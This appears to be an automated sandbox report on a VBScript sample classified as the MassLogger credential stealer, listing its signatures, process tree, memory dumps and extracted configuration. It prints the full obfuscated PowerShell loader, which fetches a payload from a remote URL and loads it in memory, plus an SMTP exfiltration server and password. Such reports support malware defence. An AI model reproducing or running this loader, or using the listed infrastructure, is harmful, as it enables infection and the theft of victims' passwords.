Analysis
- max time kernel
149s - max time network
147s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
09/09/2026, 13:01
General
- Target rok123.vbs
- Size 271KB
- Sample260909-p9bdyseq71
- SHA256 fa4c85398b343abb47d85ac173762974125bf375059ffa58d5cbc982059aa626
Malware Config
Extracted
-
ps1
-
exe.dropper
https://lively-fog-af49.pablosoftwareplus.workers.dev/pQMSO
Extracted
-
masslogger
-
exfiltration_mode
#SMTPEnabled
-
expire_time_date
2025-05-04
-
host_password
UW$fD9cN{/1%Fk%{
-
host_port
587
- host_receiver
- host_sender
-
host_server
mail.miniorangeman.com
-
ssl_slate
True
Signatures
- Family: MassLogger
Masslogger is a .NET stealer targeting passwords from browsers, email and cryptocurrency clients.
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Looks up external IP address via web service 1 TTPs 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 3 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\rok123.vbs"1⤵
- Executes a VBScript file via the Windows Script Host.
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -ExecutionPolicy Bypass -Command "&([scriptblock]::Create('$soyulacasuwuzixenociviwifobobiconadahugudujupegaxipuseyusilomojugirazowozutuboxexaciqipipigiguxuhifa=''https://lively-fog-af49.pablosoftwareplus.workers.dev/pQMSO''; $fobixexahuvuvikagizarawenowenuyuramobajiwizuyiconanuticazesehirudisirizicorirevogucucubeyejugerapadi = [System.Net.HttpWebRequest]::Create($soyulacasuwuzixenociviwifobobiconadahugudujupegaxipuseyusilomojugirazowozutuboxexaciqipipigiguxuhifa); $fobixexahuvuvikagizarawenowenuyuramobajiwizuyiconanuticazesehirudisirizicorirevogucucubeyejugerapadi.UserAgent = ''Mozilla/5.0''; $civuladokadewekudakoqiniwadoduqizaceburapewigecipixusexuqaxetududurevujanipibewalanodisesirowoxehame = $fobixexahuvuvikagizarawenowenuyuramobajiwizuyiconanuticazesehirudisirizicorirevogucucubeyejugerapadi.GetResponse().GetResponseStream(); $zitorenovitixamowamolejosuvasidequpadoqicahiqaselisonakezojiwepogoqatesivoxologuboqixezisapizucociqe = New-Object IO.StreamReader($civuladokadewekudakoqiniwadoduqizaceburapewigecipixusexuqaxetududurevujanipibewalanodisesirowoxehame); $tahitiwahokusojinakodipeyidesekopohasodamukafusacunometonamukuyuziricohoqejocanunaqolimuworexeqohufi = $zitorenovitixamowamolejosuvasidequpadoqicahiqaselisonakezojiwepogoqatesivoxologuboqixezisapizucociqe.ReadtoEnd(); $zezofelararegakegisotitaqebitinavaberazibujozagabiyowixatonadakohajiwiwucobisunisugujayuluzukibitoze=''IN-''; $cucufagigopaxekifadumakawomufifulixoqeniyezehuwahizojosuxeyikuyevaqujucewujopecohomugadupidimohavuca=''-in1''; $hafujatepimuworeruceqebijatanoqisicusojoyezuxogiwapowapupibulojonugikeboqahefuxagusequdesoqixivizoli=$tahitiwahokusojinakodipeyidesekopohasodamukafusacunometonamukuyuziricohoqejocanunaqolimuworexeqohufi.IndexOf($zezofelararegakegisotitaqebitinavaberazibujozagabiyowixatonadakohajiwiwucobisunisugujayuluzukibitoze); $lugiqekuvitumatarinayakacixovaguxoraveyagutocovewavonihefuqapiwipahajikequlugebogawahepoqekirozovece=$tahitiwahokusojinakodipeyidesekopohasodamukafusacunometonamukuyuziricohoqejocanunaqolimuworexeqohufi.LastIndexOf($cucufagigopaxekifadumakawomufifulixoqeniyezehuwahizojosuxeyikuyevaqujucewujopecohomugadupidimohavuca); if($hafujatepimuworeruceqebijatanoqisicusojoyezuxogiwapowapupibulojonugikeboqahefuxagusequdesoqixivizoli -eq -1 -or $lugiqekuvitumatarinayakacixovaguxoraveyagutocovewavonihefuqapiwipahajikequlugebogawahepoqekirozovece -eq -1){return}; $bapiseyokacuhuganumirobunotarasobinonagohirasiqamunewojuviraxeweziwadocunajokudobaqidesuzeguxafaceja=$hafujatepimuworeruceqebijatanoqisicusojoyezuxogiwapowapupibulojonugikeboqahefuxagusequdesoqixivizoli+$zezofelararegakegisotitaqebitinavaberazibujozagabiyowixatonadakohajiwiwucobisunisugujayuluzukibitoze.Length; $luyigumuwukuvohesajiluxadidagizobocetifucifotahalurorijabasuvoxekofavokivipotijararecaxinetoqojamepe=$tahitiwahokusojinakodipeyidesekopohasodamukafusacunometonamukuyuziricohoqejocanunaqolimuworexeqohufi.Substring($tahitiwahokusojinakodipeyidesekopohasodamukafusacunometonamukuyuziricohoqejocanunaqolimuworexeqohufi.IndexOf($zezofelararegakegisotitaqebitinavaberazibujozagabiyowixatonadakohajiwiwucobisunisugujayuluzukibitoze)+$zezofelararegakegisotitaqebitinavaberazibujozagabiyowixatonadakohajiwiwucobisunisugujayuluzukibitoze.Length, $lugiqekuvitumatarinayakacixovaguxoraveyagutocovewavonihefuqapiwipahajikequlugebogawahepoqekirozovece-($tahitiwahokusojinakodipeyidesekopohasodamukafusacunometonamukuyuziricohoqejocanunaqolimuworexeqohufi.IndexOf($zezofelararegakegisotitaqebitinavaberazibujozagabiyowixatonadakohajiwiwucobisunisugujayuluzukibitoze)+$zezofelararegakegisotitaqebitinavaberazibujozagabiyowixatonadakohajiwiwucobisunisugujayuluzukibitoze.Length)); $gisepehenimofubaqugovojequcayececogifaviboyoqudidojitaweyeseconifulogimufojekaveguvorahazicuwaridiye=$luyigumuwukuvohesajiluxadidagizobocetifucifotahalurorijabasuvoxekofavokivipotijararecaxinetoqojamepe.Replace(''*'',''A'').ToCharArray(); $lesicemaladahetatoriyezenosebevaxiqiyinalicitazoludahabipijiliqeloxoqazibujuzodasepedokoqepojomiqaru = -join $gisepehenimofubaqugovojequcayececogifaviboyoqudidojitaweyeseconifulogimufojekaveguvorahazicuwaridiye[($gisepehenimofubaqugovojequcayececogifaviboyoqudidojitaweyeseconifulogimufojekaveguvorahazicuwaridiye.Length - 1)..0]; $maseniqebadivazifegoxewokamegecemomekolekabupibodopociwonoxoriculifaxobomaqofelonanavekomugihuyexegi = [Type]::GetType(''System.Convert''); [byte[]]$hokanocumirerekupuvexucurupepucihicahilecoyaniquruyeqirokitamadibojumusugepopudibamohuveganoruguhupi = $maseniqebadivazifegoxewokamegecemomekolekabupibodopociwonoxoriculifaxobomaqofelonanavekomugihuyexegi.GetMethod(''FromBase64String'').Invoke($null, (, $lesicemaladahetatoriyezenosebevaxiqiyinalicitazoludahabipijiliqeloxoqazibujuzodasepedokoqepojomiqaru)); $zequvefobotoyuvazusuxemefojeqokunuyoquzapuqiwiboceqajutugisojidubudibelubimubabeteduyinekujiyurojuki=[AppDomain]::CurrentDomain.GetType().GetMethod(''Load'', [byte[]]); $vohuxewomamudowamuqevehinezazadejasekohafabimalowesuwuxazorayajopohuvifipasupacupohutarevayariwukike=$zequvefobotoyuvazusuxemefojeqokunuyoquzapuqiwiboceqajutugisojidubudibelubimubabeteduyinekujiyurojuki.Invoke([AppDomain]::CurrentDomain, (,$hokanocumirerekupuvexucurupepucihicahilecoyaniquruyeqirokitamadibojumusugepopudibamohuveganoruguhupi)); $maqayepaziguvojuxaqosegijolapamiwokusisuhawixegebevawefatiwivohecacuyupizaqokuzemegeceveyehexomuyebo=(''UTKjdCH+0QsF08l3zoerG8rLP8XeesPErbWbAc+2SIhyxM3uHLIZLygNd0rMs5arX1AMV+5YJv18Oj+vgvFvJw=='','''',''/qnsU1YHsaYyq96+5MxJRti+aWCV3bq8Qs10ryqZvw0k8KMkg8Q3BgCUS/++kbm+'',''6MW1EgUozUu3HUInI/pzWqIAwDFxT181ZPprm8g6OE8='',''rPiSjbASPrdKju67M1d9X+WVA6B1iPNif7zQSJai+WI='','''',''o5CmKLFDWpEwwv6wsanAibsmQHduh0/tS7uXh7NDJ6U='','''',''JIgZWCswcAdHSFDDHi9L5o+w6QnOuzhAE/4CQB9ZdHU='',''SEm1rLhYYMFvaQygwqjKkYFncl24HDgUICT5NCeMYhryNzAQK7kGyTzbWaUTmV4D'',''fx3nH2RivcDoS7v4/r2IJjWvZ9pxrHoRsm9YGmYawlU='',''M3voE0+7FumG2Keokd2ChAWGn3xj7u44ywE23l30Yic='',''1Tk5Bt54aYpVGVxs0g3x1gaGbStN5aNzmACKTrjIrT0='','''',''YwBcf/o/Icn09KBELvxPVLWbbh0iP2M3i9cyw4pZX/M='',''nYKGj1yW6uJLdJ657ldTHOUhy69pO5h0xcT1Ozs1gME='','''','''',''''); try{ $labimititetawefizisipupopumuvawirirowohoqakatahunoligetihayoqutofemovuhodadapinudopodilacejakiluvuso=($vohuxewomamudowamuqevehinezazadejasekohafabimalowesuwuxazorayajopohuvifipasupacupohutarevayariwukike.GetTypes() | Where-Object Name -eq ''casa'' | Select-Object -First 1); $kabafatovuneruvododesesixuqezeloyowutevirenaloquduhewovesaforinalumexuyoloxonewapumivozedafemarepeyo=($labimititetawefizisipupopumuvawirirowohoqakatahunoligetihayoqutofemovuhodadapinudopodilacejakiluvuso.GetMethods() | Where-Object Name -eq ''trailer'' | Select-Object -First 1); $kabafatovuneruvododesesixuqezeloyowutevirenaloquduhewovesaforinalumexuyoloxonewapumivozedafemarepeyo.Invoke($null,[object[]]$maqayepaziguvojuxaqosegijolapamiwokusisuhawixegebevawefatiwivohecacuyupizaqokuzemegeceveyehexomuyebo) }catch{}'))"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"2⤵
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
memory/5692-14-0x00007FFC68120000-0x00007FFC68AC4000-memory.dmp
memory/5692-11-0x00007FFC68120000-0x00007FFC68AC4000-memory.dmp
memory/5692-2-0x0000027458260000-0x0000027458282000-memory.dmp
memory/5692-3-0x00007FFC68120000-0x00007FFC68AC4000-memory.dmp
memory/5692-6-0x00007FFC68120000-0x00007FFC68AC4000-memory.dmp
memory/5692-7-0x00007FFC68120000-0x00007FFC68AC4000-memory.dmp
memory/5692-8-0x00007FFC68120000-0x00007FFC68AC4000-memory.dmp
memory/5692-9-0x00007FFC68120000-0x00007FFC68AC4000-memory.dmp
memory/5692-10-0x00007FFC68120000-0x00007FFC68AC4000-memory.dmp
memory/5692-24-0x00007FFC68120000-0x00007FFC68AC4000-memory.dmp
memory/5692-12-0x00007FFC68120000-0x00007FFC68AC4000-memory.dmp
memory/5692-16-0x00007FFC68120000-0x00007FFC68AC4000-memory.dmp
memory/5692-1-0x00007FFC68120000-0x00007FFC68AC4000-memory.dmp
memory/5692-0-0x00007FFC682AF000-0x00007FFC682B0000-memory.dmp
memory/5692-13-0x00007FFC68120000-0x00007FFC68AC4000-memory.dmp
memory/5692-18-0x00000274582F0000-0x0000027458302000-memory.dmp
memory/5692-19-0x00000274582D0000-0x00000274582DA000-memory.dmp
memory/5692-17-0x00000274586A0000-0x0000027458772000-memory.dmp
memory/5692-15-0x00007FFC68120000-0x00007FFC68AC4000-memory.dmp
memory/5912-27-0x0000000006230000-0x0000000006280000-memory.dmp
memory/5912-22-0x0000000074D72000-0x0000000074D73000-memory.dmp
memory/5912-25-0x0000000005220000-0x00000000052BC000-memory.dmp
memory/5912-23-0x00000000057E0000-0x0000000005D9A000-memory.dmp
memory/5912-26-0x0000000006280000-0x0000000006312000-memory.dmp
memory/5912-20-0x0000000000400000-0x000000000041C000-memory.dmp
memory/5912-28-0x00000000065F0000-0x00000000067B2000-memory.dmp
memory/5912-29-0x0000000006450000-0x000000000645A000-memory.dmp